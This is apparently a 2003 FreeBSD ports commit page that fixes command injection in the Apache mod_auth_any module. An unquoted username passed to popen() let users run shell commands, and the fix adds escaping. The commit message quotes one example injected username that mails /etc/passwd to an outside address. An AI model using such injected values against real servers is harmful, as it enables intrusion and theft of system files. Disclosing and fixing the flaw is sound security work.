diff options
author | lioux <lioux@FreeBSD.org> | 2003-03-25 12:23:11 +0800 |
---|---|---|
committer | lioux <lioux@FreeBSD.org> | 2003-03-25 12:23:11 +0800 |
commit | 7b631076c8227f5ca99d8780429699518f8201b9 (patch) | |
tree | ba299820ba1d1d7076928347242e06580e143aa2 /dns | |
parent | 2dc1f72ac69c40b582c646e0da1ede2a2cf94188 (diff) | |
download | freebsd-ports-gnome-7b631076c8227f5ca99d8780429699518f8201b9.tar.gz freebsd-ports-gnome-7b631076c8227f5ca99d8780429699518f8201b9.tar.zst freebsd-ports-gnome-7b631076c8227f5ca99d8780429699518f8201b9.zip |
o Fix vulnerability that allows execution of arbitrary commands on
the server with the uid of the apache process. Background [1]:
"The module accepts a username and password from the web client,
passes them to a user-space executable (using popen(3), which invokes
a shell) and waits for a response in order to authenticate the user.
The password is quoted on the popen() command line to avoid
interpretation of shell special chars, but the username is not.
Thus a malicious user can execute commands by supplying an appropriately
crafted username. (e.g. "foo&mail me@my.home</etc/passwd")
"The problem is easily fixed by adding quotes (and escaping any
quotes already present) to the username and password in the popen
command line."
o Fix this by adding a escaping function from [2]. Then, modifying
this function appropriately with ideas from [3]. Apply the new
escaping code to mod_auth_any.
o Bump PORTREVISION
Submitted by: Security Officer (nectar),
Red Hat Security Response Team <security@redhat.com> [1]
Obtained from: mod_auth_any CVS [2],
nalin@redhat.com [3]
Diffstat (limited to 'dns')
0 files changed, 0 insertions, 0 deletions